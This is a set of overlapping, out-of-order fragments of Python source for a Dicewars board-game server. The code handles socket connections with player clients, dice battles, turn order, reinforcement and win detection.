"= self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p in self.players: self.send_message(self.players[p], 'battle',",
"def connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients",
"client : Player Recepient of the message type : str Type of message",
"atk_dice = attacker.get_dice() def_dice = defender.get_dice() atk_pwr = def_pwr = 0 atk_name =",
"games class Game: \"\"\"Instance of the game \"\"\" def __init__(self, board, area_ownership, players,",
"self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\") for i in range(1, self.number_of_players + 1):",
"loop of the game \"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations = set()",
"INITIALIZATION # ################## def initialize_players(self): self.players = {} for i in range(1, self.number_of_players",
"+ 1): player = self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection",
"serialised_game = serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i",
"self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to client failed: {0}\".format(e)) except",
"({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg = self.get_message(player) if msg['type'] == 'battle':",
"after the battle, and possible new ownership of the areas \"\"\" self.nb_battles +=",
"self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i,",
"for player in self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player:",
"areas : list of int Areas changed during the turn \"\"\" self.logger.debug(\"Sending msg",
"msg['result'] = battle elif type == 'end_turn': msg = self.get_state() msg['type'] = 'end_turn'",
"= self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return def eliminate_player(self, player): nickname",
"self.players: player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def battle(self, attacker, defender):",
"list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas def set_first_player(self): \"\"\"Set",
"{} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if p.get_number_of_areas() > 0:",
"+ 1) % self.number_of_players] while True: try: if self.players[idx].get_number_of_areas() == 0: current_idx =",
"'game_state': msg = self.get_state() msg['type'] = 'game_state' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players",
"% self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return",
"{} for i in range(1, self.number_of_players + 1): self.players[i] = Player(i) self.players_order =",
"p in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break break",
"all clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\") for",
"== 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] = { 'name': defender.get_name(), 'dice':",
"except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in range(1, self.number_of_players + 1): player =",
"set(registered_nicknames_rev.keys())) self.players_order = [] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player",
"msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] = self.players_order elif type == 'game_state':",
"battle including information about rolled numbers, dice left after the battle, and possible",
"= random.choice(areas) if not area.add_die(): areas.remove(area) else: if area not in affected_areas: affected_areas.append(area)",
"= 0 self.nb_battles = 0 self.create_socket() self.board = board self.initialize_players() self.connect_clients() if nicknames_order",
"self.logger.info(\"Game cancelled because the limit of {} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p",
"except OSError as e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all",
"== MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit of {} battles has been reached\".format(MAX_BATTLES_PER_GAME))",
"player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message and carry out the action \"\"\" self.logger.debug(\"Handling",
"self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas =",
"{player.nickname: player_name for player_name, player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys()))",
"def close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ################## # INITIALIZATION",
"self.players_order[(current_idx + 1) % self.number_of_players] while True: try: if self.players[idx].get_number_of_areas() == 0: current_idx",
"0: current_idx = (current_idx + 1) % self.number_of_players idx = self.players_order[(current_idx + 1)",
"def assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket to an unassigned player \"\"\" player",
"for player_name, player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order =",
"self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next player in order as a",
"self.get_message(i) if hello_msg['type'] != 'client_desc': raise ValueError(\"Client send a wrong-type hello message '{}'\".format(hello_msg))",
"self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set",
"== len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = [] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick])",
"initialize_players(self): self.players = {} for i in range(1, self.number_of_players + 1): self.players[i] =",
"msg['reserves'] = { i: self.players[i].get_reserve() for i in self.players } elif type ==",
"send a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all players\")",
"i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'game_state') while True:",
"current player \"\"\" current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx +",
"is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in self.players.values(): self.send_message(player,",
"client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass ############## #",
"for i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING # ############## def",
"'client_desc': raise ValueError(\"Client send a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients",
"name, player in self.players.items(): player.name = name self.client_sockets = {renumbering[old_name]: socket for old_name,",
"type == 'game_state': msg = self.get_state() msg['type'] = 'game_state' msg['player'] = client.get_name() msg['no_players']",
"\"\"\" self.logger.debug(\"Sending msg type '{}' to client {}\".format(type, client.get_name())) if type == 'game_start':",
"raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {}; type: {}\".format(player,",
"server socket\") self.socket.close() ################## # INITIALIZATION # ################## def initialize_players(self): self.players = {}",
": int Port number Attributes ---------- buffer : int Size of socket buffer",
"int Number of players addr : str IP address of the server port",
") configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in range(1, self.number_of_players + 1):",
"from .player import Player from .summary import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME =",
"== self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break break serialised_game = serialise_game_configuration( board=self.board, players=self.players,",
"Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message and carry",
"self.current_player.get_areas(): areas.append(area) while dice and areas: area = random.choice(areas) if not area.add_die(): areas.remove(area)",
"in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = [] for nick",
"i: self.players[i].get_reserve() for i in self.players } elif type == 'game_end': msg =",
"Type of message battle : dict Result of a battle winner : int",
"to all players\") def connect_client(self, i): \"\"\"Assign client to an instance of Player",
"1) % self.number_of_players] while True: try: if self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx",
"self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i,",
"self.players: player = self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return",
"self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\") for i in range(1,",
"to \"\"\" self.client_sockets[i] = connection player = self.assign_player_to_client(connection, client_address) if not player: raise",
"the turn \"\"\" self.logger.debug(\"Sending msg type '{}' to client {}\".format(type, client.get_name())) if type",
"'game_state' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() elif type ==",
"= { i: self.players[i].get_reserve() for i in self.players } elif type == 'game_end':",
"in range(1, self.number_of_players + 1): self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type'] != 'client_desc':",
"self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to client failed: {0}\".format(e))",
"well as score of each player \"\"\" game_state = { 'areas': {} }",
"limit of {} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if p.get_number_of_areas()",
"player_name for player_name, player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order",
"Returns ------- dict Dictionary of affected areas including number of dice in these",
"as e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all clients \"\"\"",
"({}) wins!\".format(player_nick, player_name)) for i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING",
"if not self.players[player].has_client(): return self.players[player] return False def close_connections(self): \"\"\"Close server's socket \"\"\"",
"nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player order: {}'.format([(name, self.players[name].nickname) for name",
"game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def battle(self, attacker, defender): \"\"\"Carry out a battle",
"players self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0 self.create_socket() self.board = board self.initialize_players() self.connect_clients()",
"client {}\".format(type, client.get_name())) if type == 'game_start': msg = self.get_state() msg['type'] = 'game_start'",
"player in self.players.items()} for name, player in self.players.items(): player.name = name self.client_sockets =",
"def assign_area(self, area, player): \"\"\"Assign area to a new owner Parameters ---------- area",
"64 areas = [] for area in self.current_player.get_areas(): areas.append(area) while dice and areas:",
"self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] = { 'name': defender.get_name(), 'dice': atk_dice -",
"for i in range(1, self.number_of_players + 1): self.players[i] = Player(i) self.players_order = list(range(1,",
"Player that the client was assigned to \"\"\" self.client_sockets[i] = connection player =",
"player : int Name of the client Returns ------- str Decoded message from",
"} elif type == 'game_end': msg = { 'type': 'game_end', 'winner': winner }",
"atk_pwr += random.randint(1, 6) for i in range(0, def_dice): def_pwr += random.randint(1, 6)",
"turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg = self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns",
"+ 1): self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type'] != 'client_desc': raise ValueError(\"Client send",
"= 'battle' msg['result'] = battle elif type == 'end_turn': msg = self.get_state() msg['type']",
"random import socket import sys from .player import Player from .summary import GameSummary",
"'game_end': msg = { 'type': 'game_end', 'winner': winner } elif type == 'close_socket':",
"idx = self.players_order[(current_idx + 1) % self.number_of_players] while True: try: if self.players[idx].get_number_of_areas() ==",
"== 'end_turn': msg = self.get_state() msg['type'] = 'end_turn' msg['areas'] = areas msg['current_player'] =",
"if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations(",
"ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass ############## # GAME LOGIC # ##############",
"the start of the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name in",
"msg = self.get_state() msg['type'] = 'end_turn' msg['areas'] = areas msg['current_player'] = self.current_player.get_name() msg['reserves']",
"# INITIALIZATION # ################## def initialize_players(self): self.players = {} for i in range(1,",
"serialise_game_configuration, save_game_configurations configurations = set() try: for i in range(1, self.number_of_players + 1):",
"connect\") for i in range(1, self.number_of_players + 1): self.connect_client(i) hello_msg = self.get_message(i) if",
"socket import sys from .player import Player from .summary import GameSummary MAX_PASS_ROUNDS =",
"'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] = {} for p in",
"random.choice(areas) if not area.add_die(): areas.remove(area) else: if area not in affected_areas: affected_areas.append(area) dice",
"client_address = self.socket.accept() self.add_client(sock, client_address, i) def add_client(self, connection, client_address, i): \"\"\"Add client's",
"address of the server port : int Port number Attributes ---------- buffer :",
"dict Result of a battle winner : int Winner of the game areas",
"-1) return True for p in self.players: player = self.players[p] if player.get_number_of_areas() ==",
"Player \"\"\" sock, client_address = self.socket.accept() self.add_client(sock, client_address, i) def add_client(self, connection, client_address,",
"\"\"\"Assigns areas to players at the start of the game \"\"\" assert(len(ownership) ==",
"get_message(self, player): \"\"\"Read message from client Parameters ---------- player : int Name of",
"of the game \"\"\" def __init__(self, board, area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize",
"def send_message(self, client, type, battle=None, winner=None, areas=None): \"\"\"Send message to a client Parameters",
"player_name)) for i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING # ##############",
"else: if area not in affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas",
"result: {}\".format(battle)) for p in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] == 'end_turn':",
"from the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from",
"player : Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message",
"return def set_next_player(self): \"\"\"Set next player in order as a current player \"\"\"",
"client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] = self.players_order",
"at {}:{}\".format(self.address, self.port)) except OSError as e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def",
"of the game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name in ownership.items(): area",
"\"\"\"Initiate server socket \"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address,",
"type '{}' to client {}\".format(type, client.get_name())) if type == 'game_start': msg = self.get_state()",
"elif type == 'end_turn': msg = self.get_state() msg['type'] = 'end_turn' msg['areas'] = areas",
"\"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\") for i in",
"'pwr': def_pwr } else: battle['def'] = { 'name': defender.get_name(), 'dice': def_dice, 'owner': def_name,",
"self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check win",
"in affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas def",
"except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\")",
"attacker.get_owner_name() def_name = defender.get_owner_name() for i in range(0, atk_dice): atk_pwr += random.randint(1, 6)",
"bool True if a player has won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns //",
"self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player",
"{} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg = self.get_message(player) if msg['type'] ==",
"self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break break serialised_game = serialise_game_configuration( board=self.board, players=self.players, )",
"elif type == 'game_end': msg = { 'type': 'game_end', 'winner': winner } elif",
"client {}\".format(client_address)) else: return player def assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket to",
"self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] = self.players_order elif type == 'game_state': msg =",
"= addr self.port = port self.number_of_players = players self.nb_players_alive = players self.nb_consecutive_end_of_turns =",
"of the client Returns ------- str Decoded message from the client \"\"\" raw_message",
"self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except OSError as",
"set_next_player(self): \"\"\"Set next player in order as a current player \"\"\" current_player_name =",
"raise Exception(\"Could not assign player to client {}\".format(client_address)) else: return player def assign_player_to_client(self,",
"clients to connect\") for i in range(1, self.number_of_players + 1): self.connect_client(i) hello_msg =",
"winner=player_name) ############## # NETWORKING # ############## def get_message(self, player): \"\"\"Read message from client",
": Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message and",
"= { 'type': 'game_end', 'winner': winner } elif type == 'close_socket': msg =",
"client_addres : (str, int) Client's address and port number i : int Player's",
"instance of Player \"\"\" sock, client_address = self.socket.accept() self.add_client(sock, client_address, i) def add_client(self,",
"addr self.port = port self.number_of_players = players self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0",
"= self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] = self.players_order elif type",
"def_dice, 'owner': def_name, 'pwr': def_pwr } return battle def end_turn(self): \"\"\"Handles end turn",
"assigned new owner to player : Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def",
"Parameters ---------- connection : socket Client's socket client_addres : (str, int) Client's address",
"score of each player \"\"\" game_state = { 'areas': {} } for a",
"\"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ################## # INITIALIZATION # ##################",
"'owner': def_name, 'pwr': def_pwr } return battle def end_turn(self): \"\"\"Handles end turn command",
"\"\"\" for player in self.players: if not self.players[player].has_client(): return self.players[player] return False def",
"over 100k games class Game: \"\"\"Instance of the game \"\"\" def __init__(self, board,",
"Player(i) self.players_order = list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def",
"self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except OSError as e: self.logger.error(\"Cannot create socket.",
"in self.players: player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def battle(self, attacker,",
"= { 'areas': {} } for a in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name]",
"{}; type: {}\".format(player, msg['type'])) return msg def send_message(self, client, type, battle=None, winner=None, areas=None):",
"in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice':",
"str IP address of the server port : int Port number Attributes ----------",
"instance of Player Parameters ---------- connection : socket Client's socket client_addres : (str,",
"'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] = {} for p in self.players: player",
"import logging import random import socket import sys from .player import Player from",
"player_name in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering =",
"area in self.current_player.get_areas(): areas.append(area) while dice and areas: area = random.choice(areas) if not",
"number Attributes ---------- buffer : int Size of socket buffer number_of_players : int",
"atk_pwr = def_pwr = 0 atk_name = attacker.get_owner_name() def_name = defender.get_owner_name() for i",
"\"\"\"Add client's socket to an unassigned player \"\"\" player = self.get_unassigned_player() if player:",
"from .summary import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000 # obsevered maximum",
"'dice': area.get_dice() } return list_of_areas def set_first_player(self): \"\"\"Set first player \"\"\" for player",
"player in self.players.items()} self.players = {renumbering[old_name]: player for old_name, player in self.players.items()} for",
"player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return def eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname,",
"self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the",
"cancelled because the limit of {} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p in",
"\"\"\" self.nb_battles += 1 atk_dice = attacker.get_dice() def_dice = defender.get_dice() atk_pwr = def_pwr",
"msg = self.get_state() msg['type'] = 'game_state' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player']",
"player.name = name self.client_sockets = {renumbering[old_name]: socket for old_name, socket in self.client_sockets.items()} registered_nicknames_rev",
"self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return def",
"\"\"\" player = self.get_unassigned_player() if player: player.assign_client(socket, client_address) return player else: return False",
"Returns ------- dict Dictionary containing owner, dice and adjacent areas of each area,",
"Parameters ---------- area : Area Area to be assigned new owner to player",
"= [] player = self.current_player dice = player.get_reserve() + player.get_largest_region(self.board) if dice >",
"nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()} self.players = {renumbering[old_name]: player for old_name, player",
"in self.players.items(): player.name = name self.client_sockets = {renumbering[old_name]: socket for old_name, socket in",
"msg = { 'type': 'game_end', 'winner': winner } elif type == 'close_socket': msg",
"server socket \"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port))",
"import random import socket import sys from .player import Player from .summary import",
"and areas: area = random.choice(areas) if not area.add_die(): areas.remove(area) else: if area not",
"+ 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to",
"1): self.players[i] = Player(i) self.players_order = list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player",
"{} for area in affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice': area.get_dice() }",
"self.players[player] return False def close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close()",
"msg['board'] = self.board.get_board() msg['order'] = self.players_order elif type == 'game_state': msg = self.get_state()",
"{renumbering[old_name]: player for old_name, player in self.players.items()} for name, player in self.players.items(): player.name",
"+ player.get_largest_region(self.board) if dice > 64: dice = 64 areas = [] for",
"logging import random import socket import sys from .player import Player from .summary",
".summary import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000 # obsevered maximum of",
"= self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next player in order",
"player.set_reserve(dice) self.set_next_player() list_of_areas = {} for area in affected_areas: list_of_areas[area.get_name()] = { 'owner':",
"connection player = self.assign_player_to_client(connection, client_address) if not player: raise Exception(\"Could not assign player",
"{}\".format(battle)) for p in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns",
"for i, p in self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, )",
"check_win_condition(self): \"\"\"Check win conditions Returns ------- bool True if a player has won,",
"player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive -=",
"{ 'name': defender.get_name(), 'dice': atk_dice - 1, 'owner': atk_name, 'pwr': def_pwr } else:",
"import Player from .summary import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000 #",
"New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message and carry out",
"True: try: if self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx + 1) % self.number_of_players",
"msg['type'] = 'game_state' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() elif",
"IndexError: exit(1) return def eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player",
"def handle_player_turn(self): \"\"\"Handle clients message and carry out the action \"\"\" self.logger.debug(\"Handling player",
"self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name, player in",
"self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name() msg = self.get_message(player) if",
"'close_socket'} msg = json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate server socket \"\"\"",
"end_turn(self): \"\"\"Handles end turn command Returns ------- dict Dictionary of affected areas including",
"self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def",
": list of int Areas changed during the turn \"\"\" self.logger.debug(\"Sending msg type",
"Area Area to be assigned new owner to player : Player New owner",
"player.get_reserve() + player.get_largest_region(self.board) if dice > 64: dice = 64 areas = []",
"> 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled",
"def connect_client(self, i): \"\"\"Assign client to an instance of Player \"\"\" sock, client_address",
"self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for player_name, player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev))",
"self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] = self.board.get_board() msg['order'] = self.players_order elif type ==",
"\"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients message and carry out the action",
"self.close_connections() except BrokenPipeError: pass ############## # GAME LOGIC # ############## def assign_area(self, area,",
"import socket import sys from .player import Player from .summary import GameSummary MAX_PASS_ROUNDS",
"unassigned player \"\"\" player = self.get_unassigned_player() if player: player.assign_client(socket, client_address) return player else:",
"= self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to client failed:",
"out the action \"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player = self.current_player.get_name()",
"if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1)",
"in order as a current player \"\"\" current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name)",
"a new owner Parameters ---------- area : Area Area to be assigned new",
"self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next player in order as",
"in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if self.nb_battles",
"= {renumbering[old_name]: player for old_name, player in self.players.items()} for name, player in self.players.items():",
"1) % self.number_of_players idx = self.players_order[(current_idx + 1) % self.number_of_players] continue self.current_player =",
"self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas",
"\"\"\" affected_areas = [] player = self.current_player dice = player.get_reserve() + player.get_largest_region(self.board) if",
"msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result:",
"to a client Parameters ---------- client : Player Recepient of the message type",
"to client {}\".format(client_address)) else: return player def assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket",
"interrupted.\") for i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'close_socket')",
"1 player.set_reserve(dice) self.set_next_player() list_of_areas = {} for area in affected_areas: list_of_areas[area.get_name()] = {",
"== 'battle': self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle))",
"self.get_state() msg['type'] = 'battle' msg['result'] = battle elif type == 'end_turn': msg =",
"atk_name = attacker.get_owner_name() def_name = defender.get_owner_name() for i in range(0, atk_dice): atk_pwr +=",
